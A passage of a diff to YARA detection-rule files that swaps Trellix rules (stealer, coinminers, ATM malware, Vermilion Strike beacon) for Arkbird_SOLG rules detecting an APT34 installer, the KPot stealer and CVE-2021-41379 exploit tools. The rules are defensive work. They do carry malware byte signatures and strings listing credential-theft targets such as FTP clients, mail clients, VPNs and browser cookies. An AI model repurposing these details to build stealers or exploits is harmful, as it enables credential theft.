-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/stealer/STEALER_credstealer.yar#L1-L24"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "3d007fc0d2e2eb3d8f0c2b86dd01ede482e72f6c67fd6d284d77c47b53021b3c"
-		score = 75
-		quality = 70
-		tags = "STEALER"
-		rule_version = "v1"
-		malware_type = "stealer"
-		malware_family = "Stealer:W32/CredStealer"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect Installer from APT34 group"
+		author = "Arkbird_SOLG"
+		id = "32f28376-e792-543b-82f7-36ec627b4fab"
+		date = "2021-02-26"
+		modified = "2021-02-27"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-26/APT34/APT_APT34_RDAT_Feb_2021_1.yar#L1-L19"
+		license_url = "N/A"
+		logic_hash = "61ea6eceda0c7d6ec15db87891c4322002c112383c7a4d0089e35db9636bbe73"
+		score = 50
+		quality = 73
+		tags = "FILE"
+		level = "experimental"
+		hash1 = "65a6afc027ff851bd325d8a4f2ab4f326dd8f2c230bfd49a213c5afc00df8e2c"
 
 	strings:
-		$my_hex_string = "CurrentControlSet\\Control\\Keyboard Layouts\\" wide
-		$my_hex_string2 = {89 45 E8 3B 7D E8 7C 0F 8B 45 E8 05 FF 00 00 00 2B C7 89 45 E8}
+		$s1 = "XAVVQxcVAVIfCBYWARQfEBldEU4ZF1JbUFJYCgpCTg==" fullword ascii
+		$s2 = { 0b da 89 5c 24 40 40 38 3d 55 56 }
+		$s3 = { 57 4e 44 31 23 31 2e 32 }
+		$s4 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 }
+		$seq_Service = { 4c 8b dc 57 48 81 ec e0 02 00 00 48 c7 44 24 70 fe ff ff ff 49 89 5b 10 49 89 73 18 48 8b 05 65 12 0a 00 48 33 c4 48 89 84 24 d0 02 00 00 48 8b d9 48 89 4c 24 78 41 b8 04 01 00 00 49 8d 93 d8 fd ff ff 33 c9 ff 15 9d 20 07 00 85 c0 75 19 ff 15 33 21 07 00 8b d0 48 8d 0d 8a b6 08 00 e8 1d f7 ff ff e9 a5 01 00 00 33 f6 48 89 b4 24 90 00 00 00 48 89 b4 24 98 00 00 00 45 33 c0 33 d2 48 8d 8c 24 80 00 00 00 e8 d4 9f ff ff 66 39 b4 24 c0 00 00 00 75 05 44 8b c6 eb 1f 48 8d 84 24 c0 00 00 00 49 83 c8 ff 66 0f 1f 84 00 00 00 00 00 49 ff c0 66 42 39 34 40 75 f6 48 8d 94 24 c0 00 00 00 48 8d 8c 24 80 00 00 00 e8 41 05 00 00 90 4c 8b c3 48 8d 8c 24 a0 00 00 00 e8 60 0a 00 00 90 49 83 c9 ff 45 33 c0 48 8b d0 48 8d 8c 24 80 00 00 00 e8 a8 07 00 00 90 45 33 c0 b2 01 48 8d 8c 24 a0 00 00 00 e8 55 9f ff ff 33 d2 33 c9 41 b8 3f 00 0f 00 ff 15 d5 1e 07 00 48 8b f8 48 85 c0 75 19 ff 15 5f 20 07 00 8b d0 48 8d 0d de b5 08 00 e8 49 f6 ff ff e9 be 00 00 00 4c 8d 8c 24 80 00 00 00 48 83 bc 24 98 00 00 00 08 4c 0f 43 8c 24 80 00 00 00 48 8d 15 33 7a 0a 00 4c 8b c2 48 83 3d 40 7a 0a 00 08 4c 0f 43 05 20 7a 0a 00 48 0f 43 15 18 7a 0a 00 48 89 74 24 60 48 89 74 24 58 48 89 74 24 50 48 89 74 24 48 48 89 74 24 40 4c 89 4c 24 38 c7 44 24 30 01 00 00 00 c7 44 24 28 02 00 00 00 c7 44 24 20 10 00 00 00 41 b9 ff 01 0f 00 48 8b c8 ff 15 23 1e 07 00 48 8b f0 48 85 c0 75 16 ff 15 bd 1f 07 00 8b d0 48 8d 0d 5c b5 08 00 e8 a7 f5 ff ff eb 15 48 8d 0d 6e b5 08 00 e8 99 f5 ff ff 48 8b ce ff 15 e0 1d 07 00 48 8b cf ff 15 d7 1d 07 00 90 45 33 c0 b2 01 48 8d 8c 24 80 00 00 00 e8 54 9e ff ff 90 45 33 c0 b2 01 48 8b cb e8 46 9e ff ff 48 8b 8c 24 d0 02 00 00 48 33 cc e8 d6 94 02 00 4c 8d 9c 24 e0 02 00 00 49 8b 5b 18 49 8b 73 20 49 8b e3 5f }
+		$seq_ConnectC2 = { 33 c0 48 89 44 24 70 48 89 44 24 78 66 89 7c 24 70 8d 48 35 ff 15 2f 62 07 00 66 89 44 24 72 48 8b cb e8 ea dc ff ff 48 8b c8 ff 15 29 62 07 00 89 44 24 74 49 8b cd e8 d5 dc ff ff 48 8b d0 c7 44 24 28 10 00 00 00 48 8d 44 24 70 48 89 44 24 20 45 33 c9 45 8b 45 10 49 8b cc ff 15 e0 61 07 00 83 f8 ff 75 12 45 33 c0 48 8d 15 6b cb 08 00 48 8b ce e8 79 de ff ff 4c 89 a4 24 a8 00 00 00 c7 84 24 a0 00 00 00 01 00 00 00 48 c7 44 24 38 0a 00 00 00 41 8d 4c 24 01 48 8d 44 24 38 48 89 44 24 20 45 33 c9 45 33 c0 48 8d 94 24 a0 00 00 00 ff 15 aa 61 07 00 83 f8 01 0f 94 c0 84 c0 0f 84 0f 01 00 00 45 33 c9 41 b8 00 02 00 00 48 8d 94 24 b0 02 00 00 49 8b cc ff 15 72 61 07 00 4c 63 c0 85 c0 0f 8e ea 00 00 00 41 8b c8 49 8b d0 49 8b c0 45 85 c0 0f 8e d8 00 00 00 0f 1f 44 00 00 80 bc 04 b0 02 00 00 00 0f 85 b7 00 00 00 48 3b d0 0f 84 ae 00 00 00 85 c9 0f 84 b4 00 00 00 83 c1 03 41 3b c8 0f 8d a8 00 00 00 48 8d 9c 24 b0 02 00 00 48 03 da 48 63 c1 48 8d bc 24 b0 02 00 00 48 03 f8 4c 89 b4 24 90 00 00 00 4c 89 b4 24 98 00 00 00 45 33 c0 33 d2 48 8d 8c 24 80 00 00 00 e8 0a dd ff ff 48 3b fb 74 17 48 2b df 4c 8b c3 48 8b d7 48 8d 8c 24 80 00 00 00 e8 6f dd ff ff 90 48 8d 84 24 80 00 00 00 48 3b f0 74 18 49 83 c9 ff 45 33 c0 48 8d 94 24 80 00 00 00 48 8b ce e8 2a de ff ff 90 45 33 c0 b2 01 48 8d 8c 24 80 00 00 00 e8 b7 dc ff ff 48 8b 5c 24 48 bf }
+		$seq_RegisterEvent = { 40 53 48 83 ec 20 48 83 3d 5a 79 0a 00 08 48 8d 1d 3b 79 0a 00 48 8b cb 48 8d 15 91 01 00 00 48 0f 43 0d 29 79 0a 00 ff 15 93 1d 07 00 48 89 05 44 77 0a 00 48 8b c8 48 85 c0 75 2d 48 83 3d 24 79 0a 00 08 48 0f 43 1d 04 79 0a 00 48 8b d3 ff 15 7b 1d 07 00 48 85 c0 74 62 48 8b c8 ff 15 35 1d 07 00 48 83 c4 20 5b c3 33 c0 c7 05 db 76 0a 00 10 00 00 00 48 89 05 e0 76 0a 00 48 8d 15 cd 76 0a 00 8b 05 17 1c 0a 00 89 05 d5 76 0a 00 ff c0 89 05 09 1c 0a 00 48 c7 05 b2 76 0a 00 02 00 00 00 c7 05 bc 76 0a 00 b8 0b 00 00 ff 15 06 1d 07 00 48 83 c4 20 5b }
 
 	condition:
-		$my_hex_string and $my_hex_string2
+		uint16(0)==0x5a4d and filesize >80KB and all of ($s*) and 2 of ($seq*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Trojan_Coinminer : FILE
+rule ARKBIRD_SOLG_MAL_Kpot_Oct_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Coinminer malware"
-		author = "Trellix ATR"
-		id = "ec1f4fb7-bce3-5d5b-bbff-50f9bfc90298"
-		date = "2021-07-22"
-		modified = "2022-01-19"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/miners/Trojan_CoinMiner.yar#L3-L23"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "0d9d502eb0a54f90044f42f8ce485a2df6814064172cb7bf006a8c8a51976acd"
+		description = "Detect KPot stealer (new variant October 2020)"
+		author = "Arkbird_SOLG"
+		id = "316feeb3-59e5-5d18-9800-db41fabd6cb0"
+		date = "2020-10-17"
+		modified = "2020-10-17"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-17/MAL_KPot_Oct_2020_1.yar#L1-L40"
+		license_url = "N/A"
+		logic_hash = "20010e8f2d45f904911664edee710f4dca18327c2b80766c253970a50624d13c"
 		score = 75
-		quality = 70
+		quality = 73
 		tags = "FILE"
-		version = "v1"
-		hash1 = "3bdac08131ba5138bcb5abaf781d6dc7421272ce926bc37fa27ca3eeddcec3c2"
-		hash2 = "d60766c4e6e77de0818e59f687810f54a4e08505561a6bcc93c4180adb0f67e7"
+		hash1 = "028ec268176707aadc2cf8e65a28236cbed214f9fd65fc3346ee34e859e50057"
 
 	strings:
-		$seq0 = { df 75 ab 7b 80 bf 83 c1 48 b3 18 74 70 01 24 5c }
-		$seq1 = { 08 37 4e 6e 0f 50 0b 11 d0 98 0f a8 b8 27 47 4e }
-		$seq2 = { bf 17 5a 08 09 ab 80 2f a1 b0 b1 da 47 9f e1 61 }
-		$seq3 = { 53 36 34 b2 94 01 cc 05 8c 36 aa 8a 07 ff 06 1f }
-		$seq4 = { 25 30 ae c4 44 d1 97 82 a5 06 05 63 07 02 28 3a }
-		$seq5 = { 01 69 8e 1c 39 7b 11 56 38 0f 43 c8 5f a8 62 d0 }
+		$olds1 = "%s | %s | %s | %s | %s | %s | %s | %d | %s" fullword ascii
+		$olds2 = "%s\\%s\\%s\\%.6s_%d.dat" fullword wide
+		$olds3 = "%s\\%s\\%s-Qt" fullword wide
+		$olds4 = "%s\\%s\\%.6ss" fullword wide
+		$olds5 = "%s\\%s\\%s.vdf" fullword wide
+		$olds6 = "https://%S/a/%S" fullword wide
+		$olds7 = { 4e 00 61 00 6d 00 65 00 3a 00 09 00 25 00 6c 00 73 00 0d 00 0a 00 43 00 6f 00 6d 00 6d 00 65 00 6e 00 74 00 3a 00 20 00 25 00 6c 00 73 00 0d 00 0a 00 55 00 73 00 65 00 72 00 3a 00 09 00 25 00 6c 00 73 00 0d 00 0a 00 44 00 61 00 74 00 61 00 3a 00 20 00 0d 00 0a 00 00 00 00 00 25 00 32 00 2e 00 32 00 58 00 20 00 00 00 00 00 25 00 2d 00 35 00 30 00 73 00 20 00 25 00 73 }
+		$debug1 = "4|Remote Desktop|%s|%s|%s|" fullword ascii
+		$debug2 = "1|TotalCommander|%s|%s|%s|" fullword ascii
+		$debug3 = "1|FileZilla|%s:%s|%s|%S|" fullword ascii
+		$debug4 = "5|Windows Mail|%s|%s|%s|" fullword ascii
+		$debug5 = "5|Outlook|%s:%d|%s|%s|" fullword ascii
+		$debug6 = "1|WS_FTP|%s|%s|%S|" fullword ascii
+		$debug7 = "1|WinSCP|%s|%s|%s|" fullword ascii
+		$debug8 = "3|Pidgin|%s|%s|%s|" fullword ascii
+		$debug9 = "3|Psi(+)|%s|%s|%s|" fullword ascii
+		$debug10 = "2|EarthVPN||%s|%s|" fullword ascii
+		$debug11 = "2|NordVPN||%s|%s|" fullword ascii
+		$debug12 = "0|%s|%S|%s|%s|%s" fullword ascii
+		$debug13 = "0|%S|%s|%s|%s|%S" fullword ascii
+		$debug14 = "0|%s|%s|%s|%s|" fullword ascii
+		$debug15 = "Masked|%s|%02d/%04d|%s|%s|%s" fullword ascii
+		$op1 = "{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" fullword ascii
+		$op2 = { 25 73 0d 0a 25 73 0d 0a 56 69 73 69 74 73 20 63 6f 75 6e 74 3a 20 25 64 0d 0a 4c 61 73 74 20 76 69 73 69 74 3a 20 5b 25 64 2d 25 30 32 64 2d 25 30 32 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 5d 0d 0a 0d 0a 00 42 72 6f 77 73 65 72 73 5c 48 69 73 74 6f 72 79 5c 25 73 2e 74 78 74 00 42 72 6f 77 73 65 72 73 5c 41 75 74 6f 66 69 6c 6c 5c 25 73 2e 74 78 74 00 00 00 00 42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 25 73 2e 74 78 74 }
+		$op3 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" fullword ascii
+		$op4 = "monero-project" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <5000KB and pe.imphash()=="e4290fa6afc89d56616f34ebbd0b1f2c" and 3 of ($seq*))
+		uint16(0)==0x5a4d and filesize >120KB and 4 of ($olds*) and 10 of ($debug*) and 2 of ($op*)
 }
-rule TRELLIX_ARC_MINER_Monero_Mining_Detection : MINER FILE
+rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_2 : CVE_2021_41379 FILE
 {
 	meta:
-		description = "Monero mining software"
-		author = "Trellix ATR team"
-		id = "98ee7711-16ee-58e1-b52f-c68dd5f2b8a3"
-		date = "2018-04-05"
-		modified = "2022-01-19"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/miners/MINER_Monero.yar#L1-L43"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "4c1815186b0eb9e6be5fb0fcad02fd981ac9cf79c485fe12ce4a73054ef9fda2"
+		description = "Detect exploit tool using CVE-2021-41379 (variant 2)"
+		author = "Arkbird_SOLG"
+		id = "29fe9a9c-5180-55c8-882b-ad18981dc011"
+		date = "2021-11-26"
+		modified = "2021-11-29"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_2.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "28b1d0d6c0ee14cd46b12763692f4f76020cd5ad74bb2b39b61f493b98486068"
 		score = 75
-		quality = 70
-		tags = "MINER, FILE"
-		rule_version = "v1"
-		malware_type = "miner"
-		malware_family = "Ransom:W32/MoneroMiner"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "CVE-2021-41379, FILE"
+		hash1 = "13fe508e7efb50378eb8e0225221283756bf482d51be7837f850ef2b7f3281f0"
+		hash2 = "402722d95d468ddef049e1079c882bb9a316841b9695a15783fc23bbd3b33aed"
+		hash3 = "d025564e6dc872cff32f2295e0b5a2d8e3a21fbef1957facb69a493fa8a995fb"
+		hash4 = "dc65cd6311fd764a89d0761932bef61a89fd979510bd9ff23cde8c001de316b8"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$1 = "* COMMANDS:     'h' hashrate, 'p' pause, 'r' resume" fullword ascii
-		$2 = "--cpu-affinity       set process affinity to CPU core(s), mask 0x3 for cores 0 and 1" fullword ascii
-		$3 = "* THREADS:      %d, %s, av=%d, %sdonate=%d%%%s" fullword ascii
-		$4 = "--user-agent         set custom user-agent string for pool" fullword ascii
-		$5 = "-O, --userpass=U:P       username:password pair for mining server" fullword ascii
-		$6 = "--cpu-priority       set process priority (0 idle, 2 normal to 5 highest)" fullword ascii
-		$7 = "-p, --pass=PASSWORD      password for mining server" fullword ascii
-		$8 = "* VERSIONS:     XMRig/%s libuv/%s%s" fullword ascii
-		$9 = "-k, --keepalive          send keepalived for prevent timeout (need pool support)" fullword ascii
-		$10 = "--max-cpu-usage=N    maximum CPU usage for automatic threads mode (default 75)" fullword ascii
-		$11 = "--nicehash           enable nicehash/xmrig-proxy support" fullword ascii
-		$12 = "<!--The ID below indicates application support for Windows 10 -->" fullword ascii
-		$13 = "* CPU:          %s (%d) %sx64 %sAES-NI" fullword ascii
-		$14 = "-r, --retries=N          number of times to retry before switch to backup server (default: 5)" fullword ascii
-		$15 = "-B, --background         run the miner in the background" fullword ascii
-		$16 = "* API PORT:     %d" fullword ascii
-		$17 = "--api-access-token=T access token for API" fullword ascii
-		$18 = "-t, --threads=N          number of miner threads" fullword ascii
-		$19 = "--print-time=N       print hashrate report every N seconds" fullword ascii
-		$20 = "-u, --user=USERNAME      username for mining server" fullword ascii
+		$s1 = { 4c 89 6c 24 38 44 89 6c 24 30 44 89 6c 24 28 44 89 6c 24 20 [1-2] 01 00 00 00 ?? 8b ?? 45 33 c0 ba 03 00 08 00 48 8d 0d [3] 00 ff 15 [3] 00 48 8b d8 48 83 f8 ff 0f 84 ?? 01 00 00 33 d2 48 8b c8 ff 15 [3] 00 44 89 6d 10 48 8d 55 10 48 8b cb ff 15 [3] 00 48 8b cb ff 15 [3] 00 ff 15 [3] 00 44 8b c0 33 d2 b9 00 10 10 00 ff 15 [3] 00 48 8b d8 4c 89 }
+		$s2 = { 4c 89 6c 24 30 c7 44 24 28 80 00 00 04 c7 44 24 20 04 00 00 00 45 33 c9 [1-2] 01 00 00 00 ?? 8b ?? ba 00 00 01 80 48 8d 4d 20 ff 15 [3] 00 48 89 05 [3] 00 44 89 6d 14 48 8d 45 14 48 89 44 24 28 44 89 6c 24 20 45 33 c9 4c 8d 05 [2] ff ff 33 d2 33 c9 ff 15 [3] 00 48 8b d8 ?? 8b ?? ba 04 01 00 00 49 8d ?? 10 02 00 00 [4] 00 }
+		$s3 = { 40 53 48 81 ec 30 08 00 00 48 8b 05 [3] 00 48 33 c4 48 89 84 24 20 08 00 00 0f 10 05 [3] 00 48 8b d9 33 d2 0f 10 0d [3] 00 48 8d 4c 24 50 41 b8 d0 07 00 00 0f 29 44 24 20 0f 10 05 [3] 00 0f 29 4c 24 30 0f 29 44 24 40 e8 [2] 00 00 4c 8b 0b 48 8d 44 24 20 41 b8 00 04 00 00 41 8b c8 66 83 38 00 74 0a 48 83 c0 02 48 83 e9 01 75 f0 45 33 d2 49 8b c0 48 2b c1 48 85 c9 49 0f 44 c2 74 47 4c 2b c0 48 8d 44 44 20 74 2e b9 fe ff ff 7f 4c 2b c8 0f 1f 80 00 00 00 00 48 85 c9 74 1a 41 0f b7 14 01 66 85 d2 74 10 66 89 10 48 ff c9 48 83 c0 02 49 83 e8 01 75 e1 4d 85 c0 48 8d 50 fe 48 0f 45 d0 66 44 89 12 33 d2 8d 4a 02 ff 15 [3] 00 48 8b 4b 08 48 8d 54 24 20 ff 15 [3] 00 33 c0 48 8b 8c 24 20 08 00 00 48 33 cc e8 [2] 00 00 48 81 c4 30 08 00 00 5b }
+		$s4 = { 48 8b c8 ff 15 [3] 00 33 c9 ff 15 [3] 00 48 8b c8 41 b8 04 01 00 00 48 8d 95 30 02 00 00 ff 15 [3] 00 e8 [2] ff ff 48 8b d0 45 33 c0 48 8d 8d 30 02 00 00 ff 15 [3] 00 33 c9 ff 15 [3] 00 48 8d }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <4000KB and (8 of them )) or ( all of them )
+		uint16(0)==0x5A4D and filesize >25KB and all of ($s*)
 }
-/*
- * YARA Rule Set
- * Repository Name: Arkbird SOLG
- * Repository: https://github.com/StrangerealIntel/DailyIOC
- * Retrieval Date: 2024-08-04
- * Git Commit: a873ff1298c43705e9c67286f3014f4300dd04f7
- * Number of Rules: 214
- * Skipped: 0 (age), 10 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-import "pe"
-
-rule ARKBIRD_SOLG_Mal_ATM_Loup_Aug_2020_1 : FILE
+rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_1 : CVE_2021_41379 FILE
 {
 	meta:
-		description = "Detect ATM malware Loup by theirs strings."
+		description = "Detect exploit tool using CVE-2021-41379"
 		author = "Arkbird_SOLG"
-		id = "07c0fe02-a82a-58a7-8776-748a1c986f93"
-		date = "2020-08-17"
-		modified = "2020-08-18"
-		reference = "https://twitter.com/r3c0nst/status/1295275546780327936"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-17/Loup/Mal_ATM_Loup_Aug_2020_1.yar#L3-L34"
+		id = "616e697d-0c62-58bb-9f37-29670a09d886"
+		date = "2021-11-26"
+		modified = "2021-11-29"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1463414554004709384"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_1.yara#L1-L21"
 		license_url = "N/A"
-		logic_hash = "18e4d6af5d89746b42c87d7311e442f61deff3bfcbf57cc008d87290e91baafb"
+		logic_hash = "5514ab8f95a5d82453407dd506d55eaf1a0aa22f5ce6a5fb18501ef41645305a"
 		score = 75
-		quality = 67
-		tags = "FILE"
-		hash1 = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196"
+		quality = 75
+		tags = "CVE-2021-41379, FILE"
+		hash1 = "5d97d3035b2ec1bd16016922899350693cae5f7a3be6cadbe0da34fbfd14b612"
+		hash2 = "76fe99189fa84e28dd346b1105da77c4dfd3f7f16478b05bfca4c13a75d9fd07"
+		hash3 = "9e4763ddb6ac4377217c382cf6e61221efca0b0254074a3746ee03d3d421dabd"
+		hash4 = "a018545b334dc2a0e0c437789a339c608852fa1cedcc88be9713806b0855faea"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$pdb1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" fullword ascii
-		$pdb2 = "PDBOpenValidate5" fullword ascii
-		$dbg1 = "Run-Time Check Failure #%d - %s" fullword ascii
-		$dbg2 = "Unknown Filename" fullword ascii
-		$dbg3 = "Unknown Module Name" fullword ascii
-		$info1 = "%s%s%p%s%zd%s%d%s%s%s%s%s" fullword ascii
-		$info2 = { 41 64 64 72 65 73 73 3a 20 30 78 }
-		$info3 = { 53 69 7a 65 3a }
-		$info4 = { 44 61 74 61 3a }
-		$s1 = "MSXFS.dll" fullword ascii
-		$s2 = "WFSExecute" fullword ascii
-		$s3 = "WfsVersion" fullword ascii
-		$s4 = "SvcVersion" fullword ascii
-		$s5 = "SpiVersion" fullword ascii
-		$s6 = "CurrencyDispenser1" fullword ascii
-		$s7 = "WFSUnlock" fullword ascii
-		$s8 = "WFSFreeResult" fullword ascii
-		$s9 = "WFSCleanUp" fullword ascii
-		$s10 = "WFSOpen" fullword ascii
-		$s11 = "WFSClose" fullword ascii
-		$s12 = "WFSStartUp" fullword ascii
+		$s1 = { 50 6a 01 50 68 03 00 08 00 68 [3] 00 ff 15 [3] 00 8b f0 83 fe ff 0f 84 [2] 00 00 6a 00 56 ff 15 88 [2] 00 8d 85 ?? fb ff ff c7 85 ?? fb ff ff 00 00 00 00 50 56 ff 15 [3] 00 8b 3d [3] 00 56 ff d7 ff 15 [3] 00 50 6a 00 68 00 10 10 00 ff 15 [3] 00 8b f0 c7 85 ?? fb ff ff 00 00 00 00 8d 85 ?? fb ff ff 50 68 ff 01 0f 00 56 ff 15 [3] 00 56 ff d7 8d 85 ?? fb ff ff c7 85 ?? fb ff ff 00 00 00 00 50 6a 01 6a 02 6a 00 68 ff 01 0f 00 ff b5 ?? fb ff ff ff 15 [3] 00 ff b5 ?? fb ff ff ff d7 6a 04 8d 85 ?? fb ff ff 50 6a 0c ff b5 ?? fb ff ff ff 15 08 [2] 00 6a 44 8d 85 78 fb ff ff 0f 57 c0 6a 00 50 0f 11 85 bc fb ff ff e8 [2] 00 00 83 c4 0c c7 85 78 fb ff ff 44 00 00 00 b8 05 00 00 00 c7 85 80 fb ff ff [3] 00 66 89 85 a8 fb ff ff 8d 85 e8 fd ff ff 68 04 01 00 00 50 68 [3] 00 ff 15 [3] 00 8d 85 bc fb ff ff 50 8d 85 78 fb ff ff 50 6a 00 6a 00 6a 10 6a 00 6a 00 6a 00 6a 00 8d 85 e8 fd ff ff 50 ff b5 ?? fb ff ff ff 15 [3] 00 ff b5 ?? fb ff ff ff d7 ff b5 bc fb ff ff ff d7 ff b5 c0 fb ff ff ff d7 }
+		$s2 = { 6a 00 68 80 00 00 04 6a 04 6a 00 6a 01 68 00 00 01 80 8d 85 e8 fd ff ff 50 ff 15 [3] 00 8b 35 [3] 00 a3 [3] 00 8d 85 d8 fb ff ff 50 6a 00 6a 00 68 [2] 40 00 6a 00 6a 00 c7 85 d8 fb ff ff 00 00 00 00 ff d6 8b f8 8b 85 dc fb ff ff 68 [3] 00 05 0c 02 00 00 68 04 01 00 00 50 }
+		$s3 = { 55 8b ec 81 ec 04 08 00 00 a1 04 [2] 00 33 c5 89 45 fc 0f 10 05 [3] 00 ?? 8b ?? 08 8d 85 2c f8 ff ff [0-1] 0f 11 85 fc f7 ff ff [1-5] 0f 10 05 [3] 00 [3-8] 0f 11 85 0c f8 ff ff [0-1] 0f 10 05 }
+		$s4 = { 50 ff ?? 68 04 01 00 00 8d 85 e0 fb ff ff 50 6a 00 ff 15 [3] 00 50 ff 15 [3] 00 6a 00 e8 [2] ff ff 50 8d 85 e0 fb ff ff 50 ff 15 84 [2] 00 6a 00 ff 15 [3] 00 8d 85 ?? fb ff ff 50 68 [3] 00 6a 04 6a 00 68 [3] 00 ff 15 [3] 00 ff 15 [3] 00 8b 35 [3] 00 8b 3d [3] 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20KB and (pe.imphash()=="190fc01f66c40478aa91be89a98c57e9" and (1 of ($pdb*) and 2 of ($dbg*) and 2 of ($info*) and 9 of ($s*)))
+		uint16(0)==0x5A4D and filesize >25KB and all of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Beacon_Vermilion_Strike_Sep_2021_1 : FILE
+rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_3 : CVE_2021_41379 FILE
 {
 	meta:
-		description = "Detect the windows version of the beacon of Vermilion Strike implant"
+		description = "Detect exploit tool using CVE-2021-41379 (variant 3)"
 		author = "Arkbird_SOLG"
-		id = "61bb0f02-0eb3-5abe-a2fc-65b94a9486f7"
-		date = "2021-09-14"
-		modified = "2021-09-16"
-		reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_Beacon_Vermilion_Strike_Sep_2021_1.yara#L1-L20"
+		id = "c82578d6-63ca-50f6-b105-321791ec8808"
+		date = "2021-11-26"
+		modified = "2021-11-29"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_3.yara#L1-L27"
 		license_url = "N/A"
-		logic_hash = "801d93fc250666a48fbdd504c8bacab74f0bf7f534a7301a20ad79df3b41750d"
+		logic_hash = "559c4ca0e9ac60e3dd7d5b9a8eb22d887b0b436d4e1fc528e05e7a33ecce0aa6"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		hash1 = "c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5"
-		hash2 = "07b815cee2b85a41820cd8157a68f35aa1ed0aa5f4093b8cb79a1d645a16273f"
-		hash3 = "7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492"
-		tlp = "White"
-		adversary = "Vermilion Strike"
+		tags = "CVE-2021-41379, FILE"
+		hash1 = "0dcda614c0128813bf74802f0e98ffd5ec32a40f35ed42778a5ec5984b5adf47"
+		hash2 = "3c78e07924e1503be1f8785c23d0dd813f04211992cbd6a4955cd0e25c745735"
+		hash3 = "57ec6e15bcc9c79c118f97103815bd74226d4baae334142890a52fbbc5006f1b"
+		hash4 = "9d24383e50e61257c565e47ec073cbb2cd751b6f650f0d542b0643dbe6691b3c"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$s1 = { 50 c7 03 01 00 00 00 e8 cc ?? 00 00 89 43 04 83 f8 ff 74 2c 8b 4d 08 6a 00 8d 44 24 0c 50 53 6a 08 6a 01 51 e8 91 ?? 00 00 85 c0 75 13 8b 44 24 08 66 83 78 08 01 6a 01 50 74 38 e8 80 ?? 00 00 8b 4e 10 2b 4e 0c b8 93 24 49 92 f7 e9 03 d1 c1 fa 04 8b c2 c1 e8 1f 47 03 c2 3b f8 0f 8c 30 ff ff ff 53 ff 15 }
